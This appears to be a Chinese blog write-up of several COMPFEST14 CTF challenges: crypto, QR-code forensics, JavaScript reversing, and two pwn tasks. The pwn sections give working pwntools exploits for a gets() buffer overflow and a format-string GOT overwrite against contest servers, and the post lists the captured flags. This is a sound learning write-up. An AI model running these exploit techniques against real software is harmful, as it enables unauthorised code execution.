• [compfest14 ctf 2022] 不知道哪国的网站,特别慢


    两个都不大会,晚上发现还有一个,这个打开就特别慢.作了两个就算了,心想反正48小时赛,明天再作,可回头一看早就结果是12小时的.而且题特别多

    crypto Why Is It So Traditional

    这个题将flag分成4段进行加密,4种不同的方法,不过基本都是基于字符的变化,可以直接爆破

    1. import math
    2. from Crypto.Util.number import bytes_to_long
    3. def cc_encrypt(plain: str):
    4. cipher = ""
    5. for i in range(len(plain)):
    6. assert ord(plain[i]) < 128
    7. if i == len(plain) - 1:
    8. cipher += plain[i]
    9. else:
    10. cipher += chr((ord(plain[i]) + ord(plain[i + 1]) - 2*32) % 94 + 32)
    11. return cipher
    12. def bc_encrypt(plain: str):
    13. file = open("lorem.txt", "r")
    14. tmp = file.read()
    15. file.close()
    16. off = 0
    17. cipher = ""
    18. for i in range(len(plain)):
    19. chr = str(bin(ord(plain[i]) - 32))[2:].zfill(7)
    20. assert len(chr) == 7
    21. for j in chr:
    22. while (not tmp[off].isalpha()):
    23. off += 1
    24. if j == "1":
    25. cipher += tmp[off].capitalize()
    26. else:
    27. cipher += tmp[off].lower()
    28. off += 1
    29. return cipher
    30. def ct_encrypt(plain: str):
    31. file = open("lorem.txt", "r")
    32. key = file.read()[0:5].lower()
    33. file.close()
    34. cipher = ""
    35. lst = list(plain)
    36. key_srt = list(key)
    37. key_srt.sort()
    38. col = len(key)
    39. row = math.ceil(len(plain)/col)
    40. lst = []
    41. for i in range(row):
    42. tmp = []
    43. for j in range(col):
    44. if ((i*col) + j < len(plain)):
    45. tmp.append(plain[(i*col) + j])
    46. else:
    47. tmp.append(" ")
    48. lst.append(tmp)
    49. for i in range(col):
    50. tmp = key.index(key_srt[i])
    51. for j in range(row):
    52. cipher += lst[j][tmp]
    53. return cipher
    54. def vc_encrypt(plain: str):
    55. file = open("lorem.txt", "r")
    56. key = file.read()[0:5].lower()
    57. file.close()
    58. cipher = ""
    59. for i in range(len(plain)):
    60. assert ord(plain[i]) < 128
    61. cipher += chr((ord(plain[i]) + ord(key[i % len(key)]) - 64) % 94 + 32)
    62. return cipher
    63. def encrypt(plain: str):
    64. cipher = ""
    65. cipher += cc_encrypt(plain[0:20])
    66. cipher += bc_encrypt(plain[20:40])
    67. cipher += ct_encrypt(plain[40:60])
    68. cipher += vc_encrypt(plain[60:])
    69. return bytes_to_long(bytes(cipher, encoding='utf-8'))
    70. def main():
    71. file = open("flag.txt", "r")
    72. plain = file.read()
    73. file.close()
    74. tmp = encrypt(plain)
    75. file = open("cipher.txt", "w")
    76. file.write(str(tmp))
    77. file.close()
    78. if __name__ == "__main__":
    79. main()

    第一段就是一个算式,直接爆破

    1. ct =9374862801672011569143243493759834651854302741137921000102578544699291979446566751887813872972999250801521524212936699063904227504628445093754152462009521424732471453466670760988265819686759158844634830024884931300588310718332652371519380668768298032642525239961724954547989762210827049115978504990027702198536284151220495702663215797420769364463234386365148116592181273640226624584351853789020390569953735058342276300916599420784350764118742731817689748155602460756332
    2. from Crypto.Util.number import long_to_bytes
    3. c = long_to_bytes(ct)
    4. print(len(c))
    5. c1 = c[:20]
    6. p1 = [0]*20
    7. p1[19] = c[19]
    8. #(ord(plain[i]) + ord(plain[i + 1]) - 2*32) % 94 + 32
    9. for i in range(18,-1,-1):
    10. for j in range(0x20,127):
    11. if ((j+p1[i+1])-2*32)%94+32 == c1[i]:
    12. p1[i] = j
    13. break
    14. print(bytes(p1))

    第二段是基于查表的,同样可以直接爆破

    1. c2 = c[20:20+20*7].decode()
    2. p2 = [0]*20
    3. tmp = open("lorem.txt", "r").read()
    4. off = 0
    5. for i in range(20):
    6. for k in range(0x20,0x7f):
    7. toff = off
    8. chr = str(bin(k - 32))[2:].zfill(7)
    9. cipher = ''
    10. assert len(chr) == 7
    11. for j in chr:
    12. while (not tmp[toff].isalpha()):
    13. toff += 1
    14. if j == "1":
    15. cipher += tmp[toff].capitalize()
    16. else:
    17. cipher += tmp[toff].lower()
    18. toff += 1
    19. if cipher == c2[i*7: i*7+7]:
    20. p2[i] = k
    21. off = toff
    22. break
    23. print(bytes(p2))

    第三段是换顺序,直接用20个字母加密一次,再查表

    1. import math
    2. def ct_encrypt(plain: str):
    3. file = open("lorem.txt", "r")
    4. key = file.read()[0:5].lower()
    5. file.close()
    6. cipher = ""
    7. lst = list(plain)
    8. key_srt = list(key)
    9. key_srt.sort()
    10. col = len(key)
    11. row = math.ceil(len(plain)/col)
    12. lst = []
    13. for i in range(row):
    14. tmp = []
    15. for j in range(col):
    16. if ((i*col) + j < len(plain)):
    17. tmp.append(plain[(i*col) + j])
    18. else:
    19. tmp.append(" ")
    20. lst.append(tmp)
    21. for i in range(col):
    22. tmp = key.index(key_srt[i])
    23. for j in range(row):
    24. cipher += lst[j][tmp]
    25. return cipher
    26. tmp = ct_encrypt('abcdefghijklmnopqrst')
    27. #print(tmp)
    28. t1 = 'abcdefghijklmnopqrst'
    29. t2 = 'dinsafkpejotbglqchmr'
    30. st3 = 20+20*7
    31. c3 = c[st3: st3+20]
    32. p3 = [0]*20
    33. for i in range(20):
    34. p3[t1.index(t2[i])] = c3[i]
    35. print(bytes(p3))

    第四段与第一段类似,可能出题人也整不出其它好的方法了,竟然重了

    1. st3+= 20
    2. c4 = c[st3: ]
    3. p4 = [0]*len(c4)
    4. key = b'lorem'
    5. #cipher += chr((ord(plain[i]) + ord(key[i % len(key)]) - 64) % 94 + 32)
    6. for i in range(len(c4)):
    7. for j in range(0x20,0x7f):
    8. if (j + key[i%5] -64)%94 + 32 == c4[i]:
    9. p4[i] = j
    10. break
    11. print(bytes(p4))
    12. b'Great job! COMPFEST14{FiRSt_ST3p_0f_crYPYo_bUT_f4LLeN_t0_diSUS3_70abaaf44b}'

    scan_me

    前几天作过一个扫二维码的,已经弄好了程序,这个题前半半就直接搞定了.给了828个小二维码.扫出来是0xdh这样的,看上去就是一个字节但显示字母都不是16进制的,先用pyzbar扫出来放文件里

    1. from pyzbar import pyzbar
    2. from PIL import Image
    3. text = ''
    4. for i in range(1,829):
    5. fname = f"./qr/{i}.png"
    6. val = pyzbar.decode(Image.open(fname), symbols=[pyzbar.ZBarSymbol.QRCODE])
    7. text+= val[0].data.decode()[2:]
    8. open('aaa2.txt', 'w').write(text)
    9. print(text)

    后来慢慢想,提示是这样的,最后一句有个单词shift,那理解成平移,把这些符号重排了一下,发现前10个从"`_a"开始是10个连续的,后边是6个连续的,大概意思就是16进制的符号平移而来.

    1. Jack and his uncle loves solving puzzles. This morning, Jack's Uncle gave him a stack of card and said:
    2. "In order to solve this, don't scramble the card, scramble the egg"
    3. "Just kidding"
    4. "Bye, shift you latter"

    所以第二步就解出来了

    1. cipher = b'ghd_ctcf_s_p_p_p_______schcgccda_____`ra_____`ra_`________dcebuctg_____`_bchccc`dcfghrtshrcsetpcb_`_gddu_scgqsbcbfrgd`rrhdfb_bbgcp`ua_`aarabg`stardrqeg`ec`aahcbcqehucepg`crbqhuapashdtprfddetabftaetbhu`ugag_cgh`aacdgp`cahdapccgh`aacdgpurcgrttesatf`stqq``pb_qf__te`efhqubscupfrggqh`_schharhegceqbecbtsegfffqfpqcghahrrtscahua`aecdqhf_ebccqdprdph_bg`usshs`sr_`u`ud_chsaaaucuptgeq`eqtgaqeqg`u`edfhq_cth`hfaarbtaguq`eqegbs__rcthr`bpcdbtbbqhghedbhfabdqcbgprastbssg_bghcusc___ub_hbpcddthcdrdbshhd_qq``qpscfcbcuprfbhtesseusgtuudetcauaar`pbcr_sg`c_fpa`cepesfpb_rruudbscdbththrbspgdh_u__u`ethtctabqudpguddftcgtcefdabs_q`_`ef___r__`_sus``cg_te`bhutq`urh_rgaahq_g`eqhugd`eaqdhrucshscpctbrdqca``q`aqhhbercb__rhtrgfcpdaqcbbpt_dagtfshqaa`h`cdpp_sa`hacffqchshbdh__schbeacuapbtcsgqcerurh_sfedhb_fpuhcagh`sqdpcsbeacqargaepfctftegcactg_qgpcpgqegsfcrpgfccutgqhrrs__fgchgespbccqpsqac_hphdserfdhbpcddtgbbrrebagudqsduqcrrgeb`udrdcsqgqurgahreubctq___tubrs`qefstfbfdqfhcgt`frfttcchsaapuc`etrtgfuragb`arpggfgpuhqddcuhhbtpbah`cfshtescahgabdhtdshfqabtsfeppptscdftchpt_egc_deeau_qb_fepq_`qbdhbd`uduhsppdbtcpdrghr_dfhaefseuube`fd`prrqub`_sg_erpes`htubfqgpbrhusruerqsaf`fcdpr``scusr_fqhbp_dpadgaebarqbepf_efasubttctteqthhfddhbha_sghsrchhhgddsgs_geupsa`qruhefebbfr`daaebsffb___t_sgcsuupudbtcqdrgcute`gcqsu`tfdpddgaeuadqqastfbrsrdhhqfdqt`u`rsupsbfdgpqr`gdhttqh_ac_hruabdthq`fbubt`g_sd`_tuqpaqasuaag`utpbafphbbd_ug_fgtf_redhrcgq`crtcffecehqfstusgppqudrhcqqs`qgfdhftcgtcufpcsuh_qeucqq`uth_`scpq`ugus_ahuaghrhcuttqh_a`ehhtegf`egqpubf`praqqs`bfcts_ahuadptcfeht`pc_tpeetrppfr__uqccchuhh_rghsecbu`cppgbahpqr_rs_edbctfsgecth`aacdgp`cahdapccgh`aacdgp`cdhtdauc_uft_qga_dcprgf________chcdctccptcae_ga'
    2. a = b'_`abcdefghpqrstu'
    3. b = b'0123456789abcdef'
    4. #按照提示shift \x89PNG
    5. trantab = bytes.maketrans(c, b)
    6. d = cipher.translate(trantab)
    7. open('ccc.png', 'wb').write(bytes.fromhex(d.decode()))

    然后生成的是一个png图,打不开,用010打开看头有问题1a0a这里是0a0a,改过来出现一部分,然后再改数据区的长度,从103改为303就得到最后的二维码了,再扫一下即可.

    1. from pyzbar import pyzbar
    2. from PIL import Image
    3. #手工修改被破坏的头 0A->1A 数据块长度103->303
    4. val = pyzbar.decode(Image.open('ccc.png'), symbols=[pyzbar.ZBarSymbol.QRCODE])
    5. text= val[0].data.decode()
    6. print(text)
    7. #在结果前加CO补全flag头
    8. #COMPFEST14{Th1s_1S_Th3_c0rrr3ct_Sc4n_M3_Fl4g_5425470cc0}

    pwn Smart Identifier

    第一个pwn题白送

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char s[80]; // [rsp+0h] [rbp-50h] BYREF
    4. setvbuf(_bss_start, 0LL, 2, 0LL);
    5. puts("Tell me about yourself");
    6. gets();
    7. if ( strlen(s) > 0x40 )
    8. {
    9. puts("You talk too much");
    10. exit(0);
    11. }
    12. puts("Who are you");
    13. return 0;
    14. }

    就一句话,gets直接溢出,还有后门.这就不用本地测了,直接远程

    1. from pwn import *
    2. p = remote('13.212.50.63',11111)
    3. context.log_level = 'debug'
    4. p.sendlineafter(b'Tell me about yourself', b'\x00'*0x58+ p64(0x4011d6)*2)
    5. p.recvline()
    6. p.recvline()
    7. p.recvline()

    pwn Mail

    第二个题,这种第一次见,不过难度不大,程序可以写信息和输出,输出的时候用的无格式参的printf

    但这个都是在一个libmail.so里,这种第一次见,不过跟libc道理一样在主程序里的got表会有这个程序的函数地址

    1. unsigned __int64 __fastcall sendMail(__int64 a1)
    2. {
    3. int v2; // [rsp+14h] [rbp-Ch] BYREF
    4. unsigned __int64 v3; // [rsp+18h] [rbp-8h]
    5. v3 = __readfsqword(0x28u);
    6. puts("\nThis app can only send a mail three days to the past maximum.");
    7. puts("How many days into the past do you want to send this mail?");
    8. printf("> ");
    9. __isoc99_scanf("%d%*c", &v2);
    10. if ( v2 <= 3 )
    11. {
    12. if ( v2 >= 0 )
    13. {
    14. puts("Enter your mail content");
    15. printf("> ");
    16. read(0, (void *)(8 * (3 - v2) + a1), 8uLL);
    17. }
    18. else
    19. {
    20. puts("You can't send a mail into the future");
    21. }
    22. }
    23. else
    24. {
    25. puts("What did i just say :/");
    26. }
    27. return __readfsqword(0x28u) ^ v3;
    28. }
    29. unsigned __int64 __fastcall readMail(__int64 a1)
    30. {
    31. int v2; // [rsp+14h] [rbp-Ch] BYREF
    32. unsigned __int64 v3; // [rsp+18h] [rbp-8h]
    33. v3 = __readfsqword(0x28u);
    34. puts("\nThis app can only read a mail three days to the past maximum.");
    35. puts("which mail do you want to read? (input how many days into the past)");
    36. printf("> ");
    37. __isoc99_scanf("%d%*c", &v2);
    38. if ( v2 <= 3 )
    39. {
    40. if ( v2 >= 0 )
    41. printf((const char *)(8 * (3 - v2) + a1));// printf
    42. else
    43. puts("Are you trying to read a mail from the future?");
    44. }
    45. else
    46. {
    47. puts("Can't read that mail anymore :(");
    48. }
    49. return __readfsqword(0x28u) ^ v3;
    50. }

    所以这个思路也比较简单,先用printf漏洞得到函数库的加载地址,然后把函数库里的后门写到exit的got表里

    不过在这里浪费了不少时间,太晚了睡觉不弄了.网站特别慢,运行会报超时或直接中断

    1. from pwn import *
    2. p = remote('13.212.50.63',11002)
    3. #p = process('./p2')
    4. context.log_level = 'debug'
    5. elf = ELF('./p2')
    6. libc_elf = ELF('./libc-2.27.so')
    7. libmail_elf = ELF('./libtcmail.so')
    8. one = [0x4f2a5, 0x4f302, 0x10a2fc]
    9. '''
    10. 0000| 0x7fffffffdef0 --> 0x0 <---------6
    11. 0008| 0x7fffffffdef8 --> 0x7fffffffdf20 --> 0x0
    12. 0016| 0x7fffffffdf00 --> 0x0
    13. 0024| 0x7fffffffdf08 --> 0x8a9f02f8499d1900
    14. 0032| 0x7fffffffdf10 --> 0x7fffffffdf50 --> 0x401330 (<__libc_csu_init>: endbr64) <--10
    15. 0040| 0x7fffffffdf18 --> 0x401306 (: cmp DWORD PTR [rbp-0x4],0x3) <-----11
    16. 0048| 0x7fffffffdf20 --> 0x0 <----------12 #3
    17. 0056| 0x7fffffffdf28 --> 0x0
    18. 0064| 0x7fffffffdf30 --> 0x0
    19. 0072| 0x7fffffffdf38 ("%6$p%7$p0\340\377\377\377\177") <----------15
    20. 0080| 0x7fffffffdf40 --> 0x7fffffffe030 --> 0x1
    21. 0088| 0x7fffffffdf48 --> 0x200000000
    22. 0096| 0x7fffffffdf50 --> 0x401330 (<__libc_csu_init>: endbr64)
    23. 0104| 0x7fffffffdf58 --> 0x7ffff7821c87 (<__libc_start_main+231>: mov edi,eax) <------19
    24. '''
    25. def save(idx, msg):
    26. p.sendlineafter(b'> ', b'1')
    27. p.sendlineafter(b'> ', str(idx).encode())
    28. p.sendafter(b'> ', msg)
    29. def run(idx):
    30. p.sendlineafter(b'> ', b'2')
    31. p.sendlineafter(b'> ', str(idx).encode())
    32. save(3, p64(elf.got['sendMail']))
    33. save(0, b'%12$s,')
    34. run(0)
    35. libmail_base = u64(p.recv(6).ljust(8, b'\x00')) - libmail_elf.sym['sendMail']
    36. libmail_elf.address = libmail_base
    37. print('mail:', hex(libmail_base))
    38. #got.exit -> win
    39. win = p64(libmail_elf.sym['win'])
    40. #win = p64(libc_base + one[2])
    41. for i in range(6):
    42. save(3, p64(elf.got['exit'] + i))
    43. pay = f"%{win[i]}c%12$hhn".encode()
    44. save(2, pay[:8])
    45. save(1, pay[8:])
    46. run(2)
    47. p.sendlineafter(b'> ', b'3')
    48. p.recvline()
    49. p.recvline()
    50. p.interactive()

    rev baby JaSon adler

    不知道是个啥语言,看上去就是js ,加密就4句

    enc=[];holder1=[];holder2=[];fl4g.split("").map((x,y)=>{!y?holder1[y]=x.charCodeAt(0)+1:holder1[y]=((x.charCodeAt(0)+holder1[y-1])%(2**9<<16))});holder1.map((zZ,hh)=>{!hh?holder2[hh]=holder1[hh]:holder2[hh]=(zZ+holder1[hh-1])%(2**9<<8)});enc=holder1.concat(holder2);enc.map((wkwk,zz)=>{enc[zz]=String.fromCharCode(wkwk)});enc=enc.join("")
    

    正理一下就4句

    1. fl4g.split("").map( (x,y)=>{!y?holder1[y]=x.charCodeAt(0)+1: holder1[y]=((x.charCodeAt(0)+holder1[y-1])%(2**9<<16)) });
    2. holder1.map((zZ,hh)=>{!hh?holder2[hh]=holder1[hh]:holder2[hh]=(zZ+holder1[hh-1])%(2**9<<8)});
    3. enc=holder1.concat(holder2);
    4. enc.map((wkwk,zz)=>{enc[zz]=String.fromCharCode(wkwk)});

     这里用到的map显然x是值y是索引,后边三元运算符相当于if else 也就没别的了,第一句是把flag后一个加上前一个(第1个加1),

    第二是从这个结果再生成一个然后加在后边,显然有前边后边没用

    最后输出,看到密文有点麻烦给整成utf8了

    直接先转过来成数字,再作个简单的减法,那个取模也没用,太大了

    1. def utf8_u16(s):
    2. i = 0
    3. t = []
    4. while i<len(s):
    5. if s[i]>>7 == 0:
    6. t.append(s[i])
    7. i+=1
    8. elif s[i]>>5 == 6:
    9. t.append(((s[i]&0x1f)<<6) | (s[i+1]&0x3f))
    10. i+=2
    11. else:
    12. t.append(((s[i]&0xf)<<12)|((s[i+1]&0x3f)<<6)|(s[i+2]&0x3f))
    13. i+=3
    14. return t
    15. cipher = open('enc_out.txt','rb').read()
    16. c = utf8_u16(cipher) #utf8转整
    17. print(len(c),c) #118
    18. holder1 = c[:59]
    19. holder2 = c[59:]
    20. for i in range(58,0,-1):
    21. holder1[i] = (holder1[i]-holder1[i-1])%(2**9<<16)
    22. holder1[0]-=1
    23. print(bytes(holder1))
    24. #COMPFEST14{4dler_ch3ccs0me_1s_f4s7er_7h4n_cRC!!_0240f11cc5}

    后边题有时间再作,先存存.

  • 相关阅读:
    mysql8.0 服务器和服务器启动程序 客户端程序
    jQuery_显式迭代each()
    AI “开”的诈骗律所被程序员识破了
    企业级自定义表单引擎解决方案(十二)--体验代码目录结构
    CSS 纵横比属性:aspect-ratio
    关于Android Framework渲染机制,你需要学习哪些?
    Dubbo源码理解
    Python——第6章 Numpy库的使用
    九、kotlin的泛型
    【算法与数据结构】JavaScript实现十大排序算法(一)
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/127855180